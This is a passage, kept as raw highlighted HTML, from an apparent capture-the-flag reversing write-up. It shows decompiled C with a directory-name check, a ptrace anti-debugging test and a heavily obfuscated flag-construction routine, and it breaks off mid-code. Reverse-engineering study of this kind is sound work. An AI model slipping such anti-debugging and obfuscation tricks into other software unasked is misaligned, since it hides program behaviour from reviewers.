class-name\">int32_t</span> rax_5<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">getcwd</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">,</span> <span class=\"token number\">0x400</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">perror</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Error\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        rax_5 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">else</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">char</span><span class=\"token operator\">*</span> rax_2 <span class=\"token operator\">=</span> <span class=\"token function\">strstr</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">,</span> <span class=\"token string\">\"Service\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token class-name\">int64_t</span> rax_4<span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax_2 <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>data_20ff<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Check passed!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            rax_4 <span class=\"token operator\">=</span> <span class=\"token function\">ptrace</span><span class=\"token punctuation\">(</span>PTRACE_TRACEME<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax_4 <span class=\"token operator\">!=</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token function\">constructFlag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rax_2 <span class=\"token operator\">==</span> <span class=\"token number\">0</span> <span class=\"token operator\">||</span> <span class=\"token punctuation\">(</span>rax_2 <span class=\"token operator\">!=</span> <span class=\"token number\">0</span> <span class=\"token operator\">&amp;&amp;</span> rax_4 <span class=\"token operator\">!=</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            rax_5 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rax_2 <span class=\"token operator\">!=</span> <span class=\"token number\">0</span> <span class=\"token operator\">&amp;&amp;</span> rax_4 <span class=\"token operator\">==</span> <span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">puts</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Debugger detected!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            rax_5 <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax <span class=\"token operator\">==</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> rax_5<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">__stack_chk_fail</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">/* no return */</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>In this function, it first checks whether the current directory name obtained with <code class=\"language-text\">getcwd</code> is <code class=\"language-text\">Service</code>, and if it can attach to itself with <code class=\"language-text\">ptrace</code>, it executes <code class=\"language-text\">constructFlag</code>.</p>\n<p>The <code class=\"language-text\">constructFlag</code> function seems to perform a very complex process related to generating the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> <span class=\"token function\">constructFlag</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">int64_t</span> r15<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> var_10 <span class=\"token operator\">=</span> r15<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> r14<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> var_18 <span class=\"token operator\">=</span> r14<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> r13<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> var_20 <span class=\"token operator\">=</span> r13<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> r12<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> var_28 <span class=\"token operator\">=</span> r12<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> rbx<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> var_30 <span class=\"token operator\">=</span> rbx<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">void</span> var_118<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> rdx<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint64_t</span> rdi_1<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint32_t</span> r9<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> r10<span class=\"token punctuation\">;</span>\n    rdx <span class=\"token operator\">=</span> <span class=\"token function\">memcpy</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118<span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>data_2010<span class=\"token punctuation\">,</span> <span class=\"token number\">0xb0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> var_11c <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x7c46699a</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>true<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">int32_t</span> var_130_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xa2245c7a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token class-name\">int32_t</span> var_124<span class=\"token punctuation\">;</span>\n        bool r11_1<span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xa2245c7a</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token class-name\">int32_t</span> rax_61 <span class=\"token operator\">=</span> <span class=\"token number\">0x60b926fc</span><span class=\"token punctuation\">;</span>\n            var_124 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_124 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token class-name\">uint32_t</span> x_5 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n            r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_5 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_5 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n            r10 <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n            r11_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">&amp;</span> r10<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">^</span> r10<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r11_1 <span class=\"token operator\">|</span> r9<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                rax_61 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x51fc1498</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n            var_128 <span class=\"token operator\">=</span> rax_61<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token class-name\">int32_t</span> var_134_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xae03eb68</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xae03eb68</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x19056f3d</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n            <span class=\"token keyword\">else</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token class-name\">int32_t</span> var_138_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xbb1ffe21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">char</span> var_31<span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xbb1ffe21</span><span class=\"token punctuation\">)</span>\n                <span class=\"token punctuation\">{</span>\n                    <span class=\"token class-name\">int32_t</span> rax_52 <span class=\"token operator\">=</span> <span class=\"token number\">0x54525dca</span><span class=\"token punctuation\">;</span>\n                    rdx <span class=\"token operator\">=</span> var_31<span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rdx <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                    <span class=\"token punctuation\">{</span>\n                        rax_52 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x1c311557</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                    var_128 <span class=\"token operator\">=</span> rax_52<span class=\"token punctuation\">;</span>\n                <span class=\"token punctuation\">}</span>\n                <span class=\"token keyword\">else</span>\n                <span class=\"token punctuation\">{</span>\n                    <span class=\"token class-name\">int32_t</span> var_13c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xcb295bc0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xcb295bc0</span><span class=\"token punctuation\">)</span>\n                    <span class=\"token punctuation\">{</span>\n                        <span class=\"token class-name\">int32_t</span> rax_58 <span class=\"token operator\">=</span> <span class=\"token number\">0x58d9f831</span><span class=\"token punctuation\">;</span>\n                        rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token class-name\">uint32_t</span> x_3 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n                        r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_3 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_3 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                        r10 <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n                        r11_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        rbx <span class=\"token operator\">=</span> r10<span class=\"token punctuation\">;</span>\n                        rbx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rbx <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        rdx <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                        r14 <span class=\"token operator\">=</span> r11_1<span class=\"token punctuation\">;</span>\n                        r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        r9 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                        r15 <span class=\"token operator\">=</span> rbx<span class=\"token punctuation\">;</span>\n                        r15 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r15 <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        r10 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                        r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">|</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        r15 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r15 <span class=\"token operator\">|</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">^</span> r15<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                        r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r11_1 <span class=\"token operator\">|</span> rbx<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                        <span class=\"token punctuation\">{</span>\n                            rax_58 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x1d900a39</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token punctuation\">}</span>\n                        var_128 <span class=\"token operator\">=</span> rax_58<span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                    <span class=\"token keyword\">else</span>\n                    <span class=\"token punctuation\">{</span>\n                        <span class=\"token class-name\">int32_t</span> var_140_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xd2cc8233</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token class-name\">int32_t</span> var_120<span class=\"token punctuation\">;</span>\n                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xd2cc8233</span><span class=\"token punctuation\">)</span>\n                        <span class=\"token punctuation\">{</span>\n                            var_120 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_120 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                            var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x694bd910</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token punctuation\">}</span>\n                        <span class=\"token keyword\">else</span>\n                        <span class=\"token punctuation\">{</span>\n                            <span class=\"token class-name\">int32_t</span> var_144_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xdb9d01fc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xdb9d01fc</span><span class=\"token punctuation\">)</span>\n                            <span class=\"token punctuation\">{</span>\n                                var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0xdd0621c0</span><span class=\"token punctuation\">;</span>\n                            <span class=\"token punctuation\">}</span>\n                            <span class=\"token keyword\">else</span>\n                            <span class=\"token punctuation\">{</span>\n                                <span class=\"token class-name\">int32_t</span> var_148_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xdd0621c0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xdd0621c0</span><span class=\"token punctuation\">)</span>\n                                <span class=\"token punctuation\">{</span>\n                                    <span class=\"token class-name\">int32_t</span> rax_60 <span class=\"token operator\">=</span> <span class=\"token number\">0x60b926fc</span><span class=\"token punctuation\">;</span>\n                                    rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                                    <span class=\"token class-name\">uint32_t</span> x_4 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n                                    r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_4 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_4 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                    r10 <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n                                    r11_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    rbx <span class=\"token operator\">=</span> r10<span class=\"token punctuation\">;</span>\n                                    rbx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rbx <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    rdx <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                    r14 <span class=\"token operator\">=</span> r11_1<span class=\"token punctuation\">;</span>\n                                    r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    r9 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                    r15 <span class=\"token operator\">=</span> rbx<span class=\"token punctuation\">;</span>\n                                    r15 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r15 <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    r10 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                    r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">|</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    r15 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r15 <span class=\"token operator\">|</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">^</span> r15<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                                    r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r11_1 <span class=\"token operator\">|</span> rbx<span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                                    <span class=\"token punctuation\">{</span>\n                                        rax_60 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x5ddba386</span><span class=\"token punctuation\">;</span>\n                                    <span class=\"token punctuation\">}</span>\n                                    var_128 <span class=\"token operator\">=</span> rax_60<span class=\"token punctuation\">;</span>\n                                <span class=\"token punctuation\">}</span>\n                                <span class=\"token keyword\">else</span>\n                                <span class=\"token punctuation\">{</span>\n                                    <span class=\"token class-name\">int32_t</span> var_14c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xde3c30d3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xde3c30d3</span><span class=\"token punctuation\">)</span>\n                                    <span class=\"token punctuation\">{</span>\n                                        <span class=\"token class-name\">int32_t</span> rax_51 <span class=\"token operator\">=</span> <span class=\"token number\">0x34e86ff4</span><span class=\"token punctuation\">;</span>\n                                        rdx <span class=\"token operator\">=</span> var_120 <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">;</span>\n                                        rdx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rdx <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                        var_31 <span class=\"token operator\">=</span> rdx<span class=\"token punctuation\">;</span>\n                                        <span class=\"token class-name\">uint32_t</span> x_2 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n                                        rdx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_2 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_2 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                        r9 <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n                                        r10 <span class=\"token operator\">=</span> rdx<span class=\"token punctuation\">;</span>\n                                        r10 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r10 <span class=\"token operator\">&amp;</span> r9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                        rdx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rdx <span class=\"token operator\">^</span> r9<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                        r10 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r10 <span class=\"token operator\">|</span> rdx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r10 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                                        <span class=\"token punctuation\">{</span>\n                                            rax_51 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x44e001df</span><span class=\"token punctuation\">;</span>\n                                        <span class=\"token punctuation\">}</span>\n                                        var_128 <span class=\"token operator\">=</span> rax_51<span class=\"token punctuation\">;</span>\n                                    <span class=\"token punctuation\">}</span>\n                                    <span class=\"token keyword\">else</span>\n                                    <span class=\"token punctuation\">{</span>\n                                        <span class=\"token class-name\">int32_t</span> var_150_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xe26ff5c7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                        <span class=\"token keyword\">void</span> var_68<span class=\"token punctuation\">;</span>\n                                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xe26ff5c7</span><span class=\"token punctuation\">)</span>\n                                        <span class=\"token punctuation\">{</span>\n                                            <span class=\"token class-name\">int32_t</span> rax_59 <span class=\"token operator\">=</span> <span class=\"token number\">0x58d9f831</span><span class=\"token punctuation\">;</span>\n                                            rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_68 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_124<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int8_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token 